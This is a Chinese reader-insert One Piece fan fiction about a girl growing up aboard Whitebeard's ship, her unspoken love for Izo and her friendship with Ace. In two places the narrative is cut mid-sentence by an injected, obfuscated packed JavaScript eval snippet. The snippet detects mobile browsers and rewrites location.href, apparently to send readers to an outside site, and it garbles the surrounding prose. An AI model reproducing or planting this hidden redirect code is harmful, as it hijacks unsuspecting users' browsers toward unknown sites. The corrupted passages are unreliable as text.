不仅如此,以藏还能感受到你的呼吸,一个呼吸的时间,睡在他胸膛的你发出迷糊的呓语:“以藏的味道......” 饶是见过大场面的以藏也没想到,自己会被从小照顾到大的你轻薄,脸上一阵燥热。 “起来!现在就给我起来!” 你也如以藏所说,确实起来了,不过只是把脸从他胸前抬起,抓住他衣襟的手倒是不见松开的痕迹。许是注视着他的黑眸过于委屈,以藏错过了呵斥你的机会。下一秒,跪坐在以藏身上的你低泣出声,向他述说着你的委屈和心意。 “呜...我喜欢以藏、拜托了...以藏也喜欢上我吧...” 眼前发生的一切都过于突然,导致以藏久久没有回神。还是你哭累了趴在他身上睡着时,以藏才有机会起身,把你安置回床上。确认你切实入睡后,以藏离开了你的房间,在甲板上点起一根烟。不管是酒精还是尼古丁,以藏急需些什么让他冷静一下大脑。 - 在你十七岁时,以藏察觉到你对他的情感是什么了。但他认为,这是你年龄尚小外加船上没有同龄人所导致的。所以以藏试着疏远你,让你和他保持在正常的社交距离里。 一开始,以藏只是觉得没地方可去的你很可怜,外加本身就有照顾弟弟的经验,让他格外关注你的成长。 所以他教你化妆、扎头发,教你用枪和跳舞。只要你感兴趣,他就把自己所学的东西全教给你。你很聪明,就算再难学多几次也会了。 没人不喜欢聪明的孩子,更别说你聪明又乖巧,还长得惹人怜惜。没长开时是这样,长开后的样貌更是如此。 虽然大家都没说你和他们是什么关系,但船上很多人都把你当妹妹来对待了,以藏也是。但他们想让你有更多的选择,未来不被他们的存在所左右。 很快,他们发现你并不适合海贼的生活。比起大海,你更喜欢陆地;比起美酒,你更喜欢普通的水和热茶;比起财宝,你更在乎他们的安危。 你不适合海贼的生活,你更适合在普通的家庭里生活,在父母和兄弟姐妹的爱护下健康地成长,这些都是他们世界里没有的。 所以,他们劝说你去老爹庇护的岛上生活。可你没有接受,通通回绝了,且看向他的黑眸里的情感越发炙热。 以藏不知道该拿你怎么办好,只能装作看不见。要问他是否有为此动过别的念想,他想,他是有的。像是你风雨无阻地在甲板迎接他回归的笑容,在他受伤时彻夜不眠的照顾,大小事优先考虑他的习惯...... 他无法否认,自己也沉浸在其中。但他无法分辨出自己的喜悦是出于年上者被依赖的情感,还是作为一个男人优先于其他人的独占欲,这对于你和他来说都很危险。 一来,你已经不是什么都不懂的孩童了,他的态度会影响到你未来的选择;二来,则是他的年龄注定了你们在一起,你不会有好结果。 因一己私欲而耽误你的后半生,于道德而言,这是不对的。但要是问他从海贼和男人的角度来看…喜欢就抢,就占有,有什么问题吗? 他选择了道德,而不是私欲。 现在好了,他不能再装作听不见了。你喜欢他,且希望他也能回以你相同的情感。 还有件糟糕的事,就是他在听到你说喜欢他时骤然加速的心跳声。是猜想被证实的喜悦,还有意识到这些后的惶恐。 喜悦的情感像用上武装色霸气的手一样,给了以藏一个响亮且疼痛的巴掌。 想到这,以藏拿烟的手微微颤抖,吐出烟圈的唇发出一声叹息,像是警告又像在谴责什么。 “...你们可是相差了二十岁的啊。” 4. 成长 你不记得那次喝醉后发生了什么,但在那之后,主张你跳出管制的怀迪贝也不让你喝酒了,其他人更是会在宴会时盯着你,以防你接触到酒精。在这当中,连着两次都照顾喝醉的你以藏和马尔科更是如此。 挺好的,你对酒也没这么喜欢。比起喝酒的问题,你更在意以藏对你的温度差。以藏不再和你单独相处,平时也是只有在大家都在场合才和你说多几句。该有的关心还是有的,但你明显能感觉到以藏对你的态度和其他人的不同,和你的交流要更为简短和官方。 这样的认知让你很难过,你想找人倾述,却不知道该找谁说。期间马尔科有问过你和以藏间是不是闹矛盾了,你只能告诉他,你也不知道。 许是在以藏那也没问出什么,马尔科能做的只有拍拍你的肩膀,让你别把这事放心上。 想到你和以藏抬头不见低头见的关系,你大概很难不把以藏的态度放心上。你和以藏的关系几乎到达了冰点,以至于老爹都看不下去,竟在宴会上主动提议让你和以藏跳舞。当然,你觉得老爹这么安排,更多是因为只有以藏教会了你跳交际舞。 老爹:“库啦啦,好久没见过以藏和萨拉跳舞了,今天这么开心,你们跳一个吧。” 老爹的提议你自然不会拒绝,但站在不远处的以藏盯着篝火若有所思的样子,让你下意识拽紧了衣角。果然,比起被人拒绝,还是自己先拒绝为好。 “我——” 不等你开口,和你有些距离的以藏几步走到了你的面前,朝你伸出了再熟悉不过的手。 “还记得我怎么教的吗?” 记不清上次这么和以藏说话是什么时候的事了,以至于这再平常不过的对话,此时竟听的你鼻尖一酸。在众人的起哄下,你伸手握住了以藏伸出的手。 “嗯...我记得。” “那就好。” 伴随着小提琴的乐声,有酒有肉就是宴会的众人唱着不算整齐的海贼之歌,你和以藏则是踩着乐曲的节奏跳着与之不符的交际舞。 明明每一个步伐和呼吸都是以藏教给你的,许久不曾和他接触的你却觉得格外陌生。完了,有点想哭,现在开溜还来得及吗?对上以藏视线那刻,你看到以藏眼底的笑意和无奈。 “你的坏习惯又犯了,这里要放慢点节奏。” 含笑的男声听得你耳郭发烫,你连忙点头,放缓了迈出脚步的节奏,视线也跟着落在了脚尖。也是这样,你又犯了一个错误。 “看着前方,别走神。” 应声抬头的你从以藏脸上看到了再熟悉不过的弧度,那是教你做什么时无奈又欣慰的笑。你觉得你高看自己了,你根本做不到和以藏正常相处。才跳了几步,被以藏握着的手和腰就发热,烫的你脸也红了。你不确定自己脸红成什么程度,但再和以藏接触下去,一定会比香克斯的红发还红。 于是,在以藏牵着你转完半圈时,你像被烫到一样松开握住以藏的手,在以藏错愕的眼神下给自己找了溜走的借口:“我、我有点不舒服!先回房间休息了!” 任由其他人怎么调笑你,你也是头都不回地往房间跑,落荒而逃的你还听到了老爹富有辨识性的笑声,还有其他人说你害羞的声音。 热闹的宴会还在继续,你却把脸埋在枕头里,试图用枕头把自己闷死。 以藏肯定不喜欢你,不然他怎么还能像没事人一样靠近你啊? - 以藏在一群人的调笑中淡然地走回原来的位置,喝掉了杯中剩下的半杯酒。周围人的已经忘了刚才的小插曲,聊起你在时不怎么说的话题。以藏虽然附和着听,脑海里却是你红透的耳郭,还有视线交汇时含羞的脸。 这是他再熟悉不过的反应。可如今羞于与他对视的你不再是刚上船怕生的小孩,而是正值花期的少女。说起来,你好像把头发剪短了。 及腰的长发在他不知道的时候剪到肩膀,是勉强能扎单马尾的程度,但其他发型就不行了。想到这,以藏有点遗憾。这意味着他不能帮你换发型了,也少了一个和你亲近的机会。 说是这么说,你的目光和心思全在他的身上,打扮自己的事想都没想过。同理,你也注意不到其他人看向你时贪婪的目光。 船上的人知道分寸,除此之外的人就不好说了。万幸的是你也不再是前几年需要人保护的存在,一般的杂鱼都不是你的对手。也是这样,他才敢让你一个人出行。 把以藏从一个人的世界里拉出来的是马尔科,他。马尔科支开了缠着以藏拼酒的新人,坐到以藏身旁,说明他的来意。 “担心她就要说啊,你不说她可是会误会的yoi。” 担心吗?想到和你交握在一起还残留着余温的手,以藏觉得,或许他才是需要被担心的那个。 “现在的她,已经不是需要我们担心的年龄了。” 一旁的马尔科笑而不语,不再讨论和你有关的话题。 - 海贼会和海贼打,也会和海军打。所以再次在同一航线遇见红发海贼团时,又是刀剑相向的场面。只是这次,你不再站在以藏身旁,而是负责照顾新人的“前辈”。 本该对上以藏的耶稣布不知道怎么转了个弯,把攻击对象换成你。没见过这种场面的新人一时间做不成反应,被反应更快的你扔到了安全范围。直到你和耶稣布有来有回地打了几发,新人才回过神,冲上来辅助你。 很可惜,勇气可嘉的新人被耶稣布用握把敲晕扔一边了。你的注意力还在新人身上时,子弹擦着你耳侧的发丝过去。顺着子弹射出的方向看去,是耶稣布。 “反应不错啊,比上次有长进!” 你不知道耶稣布为什么会找上你,但不妨碍你回敬他一颗子弹。但在比子弹还要快的反射弧中,这颗子弹只能算描边的存在。 “上次和你打的不是我。” 面对你的反驳,耶稣布回以无谓的笑,踩在甲板上的脚尖转向了你所在的方向。下一秒,几米开外的耶稣布闯入你的守备范围:“所以这次来会会你啊!” 对上耶稣布之前你就知道自己是打不过他的,但你怎么都想不到,他动真格时你竟毫无防备。 完了,要被打中了。脑海一片空白时,熟悉的身影挡在你面前,来人是本该对上耶稣布的以藏。你很少见以藏生气,但这次你能感觉到以藏很生气。 “不要随便对别人船上的人出手啊混蛋。” “你的表情可不像你说的这么回事啊,以藏。” 两人再简单不过的对话,听的你云里雾里的。没等你回神,离你最近的哈尔塔把你拉到身旁,在他的呵斥声中,后知后觉的你为自己在战场上走神而感到羞愧。 直到两个团的人都打完招呼,两队人马的厨师自觉准备开宴会要用的酒水和食物,新人则是跟着忙前忙后。你想跟着进厨房帮忙,被萨奇赶出来了:“厨房装不下这么多人了,你去玩吧。” 说完就把门关上,不让你有机会溜进去。好吧,那你去看看其他地方是否需要帮忙好了。 结果不管是哪都说不用你帮忙,都让你去玩。仿佛你不是十九岁,还是七岁时的你一样。但又能怎么办呢?总不能硬加入打乱他们的步调啊。 默默接受了无事可做现实的你走到充当训练场的角落,准备拿靶子发泄自己的不满。很可惜,今天的训练场也有人占了,还是耶稣布和以藏。他们在聊什么,聊天的同时随手一枪就是十环,真就是打着玩。 好吧,这种情况你和他们待在一起就是自虐,还不如回房间看书。结果还没来得及走,和耶稣布聊天的以藏就叫住了你,你站在原地,看到那张精致的脸上是少有的怒意。 似乎从刚才的混战开始,以藏就不怎么高兴。是你做错了什么吗?这让你很不安,而以藏接下来的话打消了你的不安。 “谁惹你不高兴了?” 靠近你等到答复的时间里,以藏撩起你洒落在脸侧的碎发,将其别在你的耳后。皮质手套擦过脸侧时的冷意让你有一瞬的失神,随后你感觉到他擦过的部位异常的燥热。 你不想被以藏发现自己的异样,急忙别过头,错开了以藏想替你撩起另一边碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913102|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发的动作。 “啊…没有,只是没什么事做,到处走走而已。我先回房间看书了,你们继续聊吧。” 算得上落荒而逃的逃离了现场,唯二留在训练场的耶稣布看着你离去的方向,以及定在原地的以藏,不禁想起了第一次见你和以藏互动时的场景。 当时耶稣布就觉得你和以藏的气氛不像是正常前后辈的互动,现在看来还真是。不过别人团里的感情耶稣布可不插手。毕竟今天他就试一下你的身手是否能在大海自保,就被以藏针对了。 “刚才聊到哪了?” 待以藏和没事人一样走回来时,耶稣布自然地说起刚才的话题,又开始对他们没有挑战性的射击比赛。 - 在两个团举办的宴会里,你从耶稣布那里得知了约克早两年死在伟大航路的事。你和约克不算熟悉,但是那个年龄和你相仿的男孩却早早离世了。 这让年满二十岁的你不再整天想着以藏,而是专心跟着马尔科学习医疗知识。你没有强大的武力,也不敢奢求太多,但至少在大家受伤时,你能尽自己的能力帮上忙。 你早该明白的,在这片无边无际能包容万物的海上,人类是渺小的,生命也是。现阶段你所度过的每一天,都是在老爹和他们的庇护下才有的日常。 对未来的惶恐和不安,令你有一段时间除了普通的训练,就是窝在马尔科和护士的屋里学习。 要不是其他人觉得你这样下去很危险,非拉着你搞各种活动,你就因过于沉浸在知识海洋中而戴上眼镜了。 与此同时,以藏想改变和你的相处模式,想和你多加来往。但看到你不再缠着自己,每天开口闭口就是“马尔科”和各个护士的名字,以藏默默收好了上次登岛给你买的发夹。 你的头发长了不少,却被无心打理的你随意地扎起。偶尔路过以藏身旁时,以藏的目光会被随着你步伐晃动的单马尾所吸引。他已经忘记上次替你梳头是什么时候了,就连发丝在他手指缝隙中滑过的触感也变得陌生。 不,变得陌生或许不止触感,还有随着时间越发成熟的你。你不再缠着他做这做那,你的老师也不再仅限他一人,被你吸引的人也不再仅限于船上的人。 就像现在,不知是哪个团的海贼,竟在报纸上刊登了对你的恋慕之情,还写下他会在哪个岛等你应约。 天知道看到这些时,以藏多想拿枪去岛上把那人崩了。不管是计谋还是出于真心,以藏都接受不了你被人惦记的事。而船上的人都在调侃你的魅力,话题中心的你则是在他们的调笑中羞红了脸,用不怎么足的语气叫停。 众人为此笑得更大声时,你看向了以藏猝不及防对上视线那刻,以藏看到了你眼里的意外,还有反应过来时肉眼可见的羞意。 你会和他说话吗?会向他求助吗?无法控制的心跳声和以藏的情感一样强烈,可你和他的接触仅有一眼,你便转过头,向在一旁笑着看热闹的老爹求助。 “老爹、你也说说他们!我根本不认识那个人!” “库啦啦,你们别太欺负萨拉了,她脸都红透了。” 于是他们笑得更开心了,而你本就泛红的脸红的更厉害,仿佛下一秒就会被他们气哭一样。可你没有哭,娇嗔地叫了声“老爹”后,就跑回房间任由他们笑了。 等你走开后,前一秒还在笑的众人开始翻找悬赏令,准备记下这位勇敢追爱的海贼。 哈尔塔:“敢拿萨拉当调侃的资本,也是活腻了。” 比斯塔:“赏金还不到十亿,敢和萨拉这么说话?” 萨奇:“什么‘一见钟情’,我看是见色起意!” 乔兹:“好像是刚出海没多久的新人,也该打压一下了。” 马尔科:“你们真是…别闹过头了。” 说是这样,以藏看到马尔科和老爹讨论去那个岛的事了。显然,自己船上的人调侃你没什么,任由其他人把你当为谈资,甚至让没有悬赏令的你的名字刊登在报纸上,这种行为和给他们下战书没区别。 挺好的,刚好给他解闷。 5. 艾斯 船上多了一名“客人”,名叫艾斯。由于艾斯刚来到这时你还在外面,具体的情况都是从其他人那里了解的,所以对于艾斯这个人,你不给予评价。 要说你对艾斯的第一印象是什么,你只能想到他那条看上去手感不错的裤子,以及连外套都不穿一件的上半身。 在怀迪贝和你传授辨认男人的秘诀前,你是不怎么关注身材的。但自从你跟着马尔科和护士组学习关于人体的知识后,怀迪贝传授给你的秘诀都刻进脑里了。 就在你走神片刻,艾斯暗杀老爹的第五十次行动也以失败告终。虽然失败了,但艾斯的行动换来了船上人的欢呼,还有人支持他再接再厉。 你觉得艾斯很厉害,十七岁就勇于挑战强者,且失败也不放弃,还越挫越勇。想到你的十七岁满脑子的以藏,艾斯在你心目中的形象就高大起来了。 以藏:“你对他很感兴趣?” 不知什么时候来到旁边的以藏和你搭话,你先是为以藏的出现愣了下,才接上以藏的话题。 “从同行的角度来说,确实很感兴趣。” 马尔科:“同行的角度又是什么角度啊yoi。” 即使一左一右包围你的两人无比自然的和你搭话,也改变不了他们突然出现的事实。你没猜错的话,他们在和你说话之前就在看完了整件事的全程。 你们交谈的期间,被老爹打到岸边的艾斯注意到了你们存在。只见他扫了你们一眼,用手背擦掉脸上的灰,就往森林深处走去。 艾斯的出现转移了你的注意力。 “这周他都住森林里?” 马尔科:“是啊,等下还得给他送点吃的。这么好的苗子要是饿死在里面,怪可惜的yoi。” 以藏:“等下不是要出任务吗?这次让其他人送吧。” 两人有来有回的对话足以说明他们对艾斯很是欣赏。换作其他暗杀老爹的海贼,不一定有这种待遇。 也是这样,你目送以藏和马尔科离开甲板后,主动接下了给艾斯送餐的任务。对于你主动想和其他人接触的行为,萨奇十分高兴,还让你和艾斯聊多几句。 聊多几句?想到艾斯看到你们的眼神,你不确定艾斯会想和你说话。 出乎意料的是,生火的艾斯见到来人是你时,一改刚才不怎么好接触的态度,还主动问起了马尔科的去向。 “马尔科有事外出了,就换我来给你送吃的。介意我在这待会儿吗?” 没想到你会想留下,这让艾斯很意外。只见他别过头,把视线从你身上移开。 “…你随便找地方坐吧。” 你和艾斯道了声谢后,在离他几步的木桩坐下。接过餐盘的艾斯犹豫了片刻,还是把萨奇做的午餐吃掉了。 艾斯的吃相和他给人的印象一样豪迈,满满一盘的饭菜很快就见底。许是海贼都不怎么注意吃相,有着雀斑的脸上沾了点食物残渣。 直到受不了你直白的目光的艾斯出声叫停:“我脸上有什么东西吗?” 你摇头否认了艾斯的猜想,这让艾斯更迷茫了:“那你一直看着我…难道是饿了?” 意料之外的对话惹得你笑出了声,眼见艾斯就要把自己全身上下检查一遍,你指了下自己的脸颊,艾斯枉然大悟,急忙用手背擦去脸上的食物残渣。做完这个动作后,艾斯抬起头,讪笑着向你道谢。 你算是明白为什么船上的人都这么喜欢艾斯了,大概很少能有人拒绝和艾斯接触。即使是很少和生人交流的你,也忍不住和艾斯说多几句。 “我觉得你挺可爱的。你叫艾斯,我应该没记错你的名字吧?” 猝不及防被夸了的艾斯怔了一下,紧接着长着雀斑的脸染上肉眼可见的赤色,他的视线找不到聚焦的点,但怎么转都不落在你的身上。 “你没记错。你的话…是叫萨拉?” 艾斯知道你名字这事多少让你感到意外,毕竟你和他没什么交集。面对你的不解,艾斯说明了他知道你名字的来由。 “我在船上时听到马尔科这么叫你,要是记错就抱歉了。” 除了马尔科叫过你,艾斯还撞见过其他人叫你的场景。加上船上的女性除了护士,就只有你在上面待着,他记得你也是正常的。当然,这些就是艾斯的秘密了。 回到现下的场景,你很高兴艾斯记得你,这意味着你们省去了自我介绍的流程。 “你没记错。真好呢,这下就省了自我介绍的过程了。” 或是性格的原因,你竟和艾斯聊了一下午,还是做完任务回来的以藏来叫你吃晚餐,你们才结束闲聊。和艾斯分别时,你向他表达了希望他上船的想法,后者打哈哈地略过了这个话题。 从森林回到船上还有一段路。因为和艾斯聊得很开心,一路上你都哼着轻快的小调。而和你同行的以藏,不动神色地观察着你的反应。 对于你和艾斯相处得不错的情况,从长辈的角度出发,以藏是高兴的。可高兴的同时,其中还掺杂着无法言明的不悦。 在以藏的印象里,你只有和他独处时才会高兴成这样。或许于现在的你而言,他已经不是独一无二的存在了吧。如同打翻了调味罐一样,以藏难以描述此时的他是什么心情。 用余光观察你的反应时,以藏希望你能发现他的异样的同时,也不想被你知道他的情绪变化。而沉浸于好心情中的你也如他所愿,什么反应都没有。 - 不出意外的,艾斯成为了船上的一员,你也不再是船上最小的了。许是年龄相仿,你和艾斯有很多话题聊。艾斯会和你说他上船之前的见闻,像是和之国教他编斗笠的孩童,会唱歌的花,还有一年四季都开着的花田。 艾斯总能把这些事讲得无比生动有趣,以至于你总会放下手中的书,在窗边听完艾斯讲的故事,才想起你的书才读到一半。而热衷于和你分享见闻的艾斯,会在注意到你看的书后询问你里面的内容。 于是,讲故事的人变成了你,艾斯成了倾听者。你们总是如此,让时间在对话和欢笑中流逝,事后又为自己占了对方的时间而道歉,然后下次再犯。 等到艾斯出任务后,你竟不太习惯身边少了个和你说话的存在。安静的环境很适合看书,只是你的心思不在书上。你似乎很久没和以藏聊过了,偶尔撞见以藏时,不是有人找他,就是艾斯找你。 先前觉得自己做不到以平常心对待以藏的你,真的做到这次程度后,你开始怀疑自己对以藏的情感。 或许你并没有想象中的喜欢以藏,你对他的喜欢可能是建立在儿时依赖的情感上? 你无法轻易对自己的情感下结论。 实在看不进书的你放弃和书作斗争,放下了手中的书走出甲板。你绕着甲板走了一圈,期间和船上的人打了招呼,聚在一起打牌的人也招呼着你过去一起玩,都被你婉拒了。 今天的天气很好,适合躺在甲板上晒日光浴。这不,你走到一半,就看到了甚平坐在地上打坐的同时享受着日光浴。 鲜少见甚平这么放松的你觉得新奇,当下决定和甚平一样,在这里享受日光的沐浴。 你没有出声,躺在了离甚平不远处用渔网做的秋千上。做在遮荫处的秋千能让躺下的人眼睛不受阳光的侵扰,也能感受到阳光的存在。 许是阳光和海浪的声音过于合适,你的意识在轻微晃动的秋千中逐渐模糊,直到进入梦乡。 - 从你出现就注意着你一举一动的甚平觉得你该回房间睡。即使太阳不错,但你的体质不算好,在甲板上睡觉指不定会生病。 但甚平也很犹豫,打扰你睡觉也不好。万一叫醒你,你睡不着了就是好心办坏事了。重要的是,甚平要离开这了,又觉得不能留你一个人在这睡。 就在这时,散步到这的以藏注意到了纠结的甚平,主动和甚平搭话。 “怎么了?一副纠结的样子。” 应声回头的甚平结束了打坐,起身和来人交谈。 “是以藏啊,你来得正好。我要去找老爹说些事,萨拉又在这睡着了,你看该不该叫醒她。” 以藏顺着甚平指的方向看去,看到了躺在秋千上午睡的你。虽说你们都在同艘船上,以藏却有种很久没见过你的错觉。 “没事,等下我叫醒她就好,你有事就去忙吧。” 以藏的到来让甚平安心了,甚平和以藏道了声谢就离开了甲板,留下以藏和在秋千午睡的你在原地。 甚平离开后,以藏悄声走到你的身旁,靠着身后的围栏,一言不发地注视着你的睡颜。 你睡得很沉,无论是他和甚平的对话,二层甲板上的吆喝声,还是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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你调动着睡僵的脸部肌肉,朝艾斯扯出一个微笑。为你所说的话有一瞬失神的艾斯被你僵硬的笑容逗笑了,笑语着接上话题。 “是啊,我回来了。对了,我在那座岛上发现了很有意思的石头,拿了一个给你。” 叫醒你之前就想好话题的艾斯拿出了五彩斑斓的石头,将它放在你的手心。 也是这样,你看到了盖在你身上的外套。明明艾斯带回来的石头光彩夺目,你的目光却被外套上的花纹所吸引。 是以藏的外套。意识到这点的你坐了好一会儿,才在艾斯的声音中回过神。 “它很好看,谢谢你,艾斯。” 得到认同的艾斯回以你灿烂的笑。 只有你知道,你道谢时爬上脸的赤色,是意识到外套的主人是谁时抑制不住的喜悦。 - 遇见以藏的人都问起了他消失的外套。面对这些问题,以藏无比自然地转移了话题。 这个话题持续到了晚餐时间,以至于想吃完晚餐后把外套还给以藏的你,在众人调侃以藏逐渐离谱的笑声中,默默把还外套这件事抛到脑后。 不对,你已经不喜欢以藏了。试图催眠自己冷静下来的你,被接下来的话题强行拽回现实。 “要我说,以藏队长把外套给女人了!” 这个话题一出来,在食堂的所有人的八卦之心燃起来了,当即向以藏打听不知名的女性的名字和样貌。 下意识直起腰板的你不敢出声,离以藏最近的几个队长倒是一人一个位置,把以藏围住。 萨奇:“你别不说话啊,到底是不是啊?” 哈尔塔:“都是男人,有什么不能说的,赶紧交代。” 马尔科:“所以是还是不是?” 被围住的以藏笑了,在三人的催促声中扫了一眼你所在的方向。视线短暂的交汇,又在众人的起哄声中移开。 以藏:“嘛,你们说是那就是吧。” 你分不清让你头晕目眩的是周围人对以藏谜语人的控诉声,还是和以藏视线交汇时骤然加速的心跳声。 也是这样,之前困扰你的问题迎刃而解:你还是喜欢以藏。 6. 吻 你没有把外套还给以藏,那件让船上的人都八卦以藏的外套静静地躺在你的衣柜里。而知道外套在谁身上的艾斯也没有说,只是在和你对视时回以了然的弧度。 而你和以藏一只手就能数出来的互动次数,在“外套事件”后更少了。说不清是你在躲以藏,还是以藏在躲你。 也不是没人打听你和以藏间的事,基本都被你和以藏搪塞过去了。久而久之,大家就不再问了。 你和以藏的关系似乎越来越奇怪了。但你没有勇气去直面这个问题,以藏也和没事人一样,当作不知道。 这种氛围持续到你们即将登岛,船还没靠岸,上船后有好吃好玩的都记着你的艾斯,几步就跑到你面前,向你发出邀请。 “等下萨拉没有安排的话,要和我去逛吗?” 眺望着有一个点的岛屿的你看向身旁的艾斯,倒映着你的那双眸中是不加掩饰的喜色和笑意。你相信,没有人能拒绝艾斯的请求,你也不例外。 “好啊。不过我没来过这里,要麻烦艾斯照顾我了。” 面对你打预防针的行为,艾斯的笑容不减,伸手拍了下他的胸口。 “没问题,包在我身上!” 在一旁目睹了全程的马尔科一行人很欣慰,以你们两个听得见的音量在不远处讨论你们。 萨奇:“这才对嘛,整天和以藏待在一起多不像话啊。” 马尔科:“同龄人话题也多吧,艾斯不也是,平时和护士聊不了几句,和萨拉在一起时就说个不停yoi。” 乔兹:“挺好的,这才像是这个年龄段该有的样子。” 以上是自你进入叛逆期还是没什么变化而担忧的长辈组。同为兄长喜欢逗你笑的几人,又是不一样的想法。 比斯塔:“突然有点怀念萨拉跟在以藏身边的日子了。” 哈尔塔:“你是觉得现在的萨拉不好逗了吧。不过要说谁最难过,还是以藏吧?” 哈尔塔将话题引到以藏身上,目光和精力都在你身上的以藏缓了几秒,才收回落在你身上的视线。 以藏:“不是挺好吗,笑的次数多了。” 没等你回头和他们斗嘴,马尔科中气十足的声音从不远处传来:“艾斯!你看好萨拉,别让她喝酒yoi!” 说到酒,在这附近的人不约而同地笑了起来,还不知道你不能喝酒的艾斯则是抓住了关键的信息。 “啊?萨拉不能喝酒吗?” 切身体验过你醉酒状态的当事人纷纷发言。 蒂奇:“能喝,就是喝了后会很麻烦。” 马尔科:“不想在岛上照顾酒鬼到启航,就不要给她喝酒yoi。” 哈尔塔:“要让她喝酒的话,艾斯你得多带条裤子。” 眼见他们说得越来越离谱,恼羞成怒的你急忙叫停。 “我不会喝的、还有我喝醉后也不会吐啊!” 把你逗得面红耳赤的哈尔塔笑得很开心,连带着离你最近的艾斯也被这种氛围逗笑了,又在你瞪向他时急忙捂住嘴,朝你露出讨好的笑。 深知自己是在迁怒的你移开了视线,视线回到逐渐清晰的岛屿上。而艾斯却误解了你的意思,急忙向你解释他没有嘲笑你的意思。 本想急忙解开误会的你,在看到艾斯难得慌乱的反应时,耐着性子听完了艾斯的解释。 “所以你别生我气啊。” 说完,艾斯低着头,仿佛耗尽了一切手段,等着你的判决。实在装不下去的你,在对上艾斯宛如被遗弃的幼犬的双眸时,没忍住笑出了声。 “我没有生气。就算生气,也不会气你啊。” “等下还要艾斯照顾我呢,我生你的气干嘛呢?” 意识到自己被你耍了的艾斯松了口气,低下的头重新扬起,朝你回以朝气十足的笑容。 “当然没问题,包在我身上!” 凭借着出色的见闻色的一众人会心一笑,只有以藏嘴角扬起的弧度有些苦涩。 - 你们登陆的岛正在举办活动,大街小巷都挂上了喜庆的装饰品。岛上的人都很热情,即使知道你们是海贼,热情也不见消褪,仍旧向你和艾斯推行自家的店。 相较于不擅长和生人交谈的你,艾斯全程都对答如流,几句话的时间就从买发夹的老板那套出需要的信息。 以表感谢,艾斯买下了绿色的蝴蝶发夹,在你没反应过来前塞进你手里。猝不及防收到礼物的你看着发夹眨了眨眼,随后不解地看向艾斯。 面对你的疑惑,艾斯不打算解释,而是说起了你们下一个目的地。 “总之我们先去看一下老板说的教堂吧!她说那里有活动,去体验一下也不错。” “嗯,但是发夹——” “啊对,你没有口袋,拿着也麻烦,我帮你夹上好了。” 虽然听了你说的话,但只听想听部分的艾斯拿过你手中的发夹,灵活地绕到你身后,在你看不见的角度里给你别上了发夹。 知道艾斯不会再替你拿下来后,你妥协了。而作为这一切的艾斯,又走到你面前,做起了向导。 “好了,现在可以出发了!” 由于岛上的人很多,艾斯担心你会走丢。即使你说自己有生命卡不会走丢,艾斯还是在征得你同意后,握着你的手腕带路。 前往教堂的路上有很多摊,吃的用的都有。你向来没什么物欲,艾斯则相反,觉得好吃的都买了,还把你的份也买上了。于是,本来就在人群的夹缝中行走的你们更难走了。 何况艾斯行走的速度不慢,被他带着往前走的你反握住艾斯的手,在他错愕的目光中表达了你的意愿。 “听我的,艾斯。我们找个地方把手上的东西吃完再走吧。再这样走下去,我的体力就要透支了。” 闻言的艾斯也看到你了无奈,就近找了空地和你解决手上的食物。 对你来说需要花上一些时间才能解决的食物,艾斯没多久就解决了。你看了下自己还剩不少的食物,果断决定把它们交给艾斯。 艾斯也不含糊,除了你咬过的苹果糖,其余的都进了他的肚子。 按理说吃完你们就能走了,但艾斯发现自己吃撑了,讪笑地表达了他想再坐一会儿的想法。 看着艾斯因他的请求微红的脸,你不禁轻笑出声:“当然可以,这里的风景也不错。” 你和艾斯就坐在为游客摆的桌椅上,看着来来往往的人群。每个人脸上都洋溢着喜悦和幸福,在热闹的人群中,你感受到了在海上时没有的平静。 你更喜欢在陆地的生活,但容得下你的只有莫比迪克号和白胡子海贼团的各位。 打断你沉浸在自己世界中的是艾斯的声音,恢复精神的艾斯再次握住你的手腕,重新带你闯入热闹的人群中。 - 又在发呆了。 早在入团之前,艾斯就知道你喜欢发呆。无边无际大海也好,暗杀失败被老爹打飞的他也罢,沉迷在酒肉中的船员也行,都可以成为你发呆的点。 可这样的你却在他上船前就夸他可爱,向他表达了善意。那双注视着他的黑眸不再眺望着不知名的远方,目不转睛地看着他,直到他的脸因此而染上赤色。 所以入团后,他喜欢和你分享他的所见所闻,喜欢你温柔中带着鼓励意味的目光,也喜欢和他说起书中故事发亮的黑眸。 只要你不眺望着不知名的存在,艾斯就高兴了。只有这样,他才能感觉到你是存在于此的人,在他触手可及的距离。而不像现在,思绪游离到另一个世界,甚至是另一个时空。 撑到胃部的食物还有一段时间才能消化,但艾斯不想再等,将沉浸在不知名世界中的你拽回现实。 “我好了,我们去教堂吧。” - 比起富丽堂皇的教堂,教堂外的广场更引人注目。在艾斯极强的社交下,你们得知教堂外摆放着巨大篝火的广场,是岛上举办活动的地方。 好心的路人:“再晚点岛上的年轻人都会来着跳舞,你们也来吧!” 艾斯:“噢!我们也会参加的!” 和路人道谢后,你和艾斯在广场上的摊位闲逛,期间遇到了船上的人。像是买花的比斯塔,研究哪个面具更好的哈尔塔,坐在樱桃派摊位上续吃的蒂奇。 你和艾斯挨个打过招呼后,遇到了在人群中穿梭的卖花女。卖花的孩子都能说会道,每个人篮子中的花都只剩几朵。你合理怀疑,比斯塔是买花的大客户。 刚准备和艾斯分享你的发现时,其中一个女童注意到了你们,跑到你面前甜甜地叫你“姐姐”。 “姐姐和哥哥买束花吧!买了花今晚就能和喜欢的人跳舞了!” 女童的话引起了你的注意,你弯下腰,询问她后半句的意思。 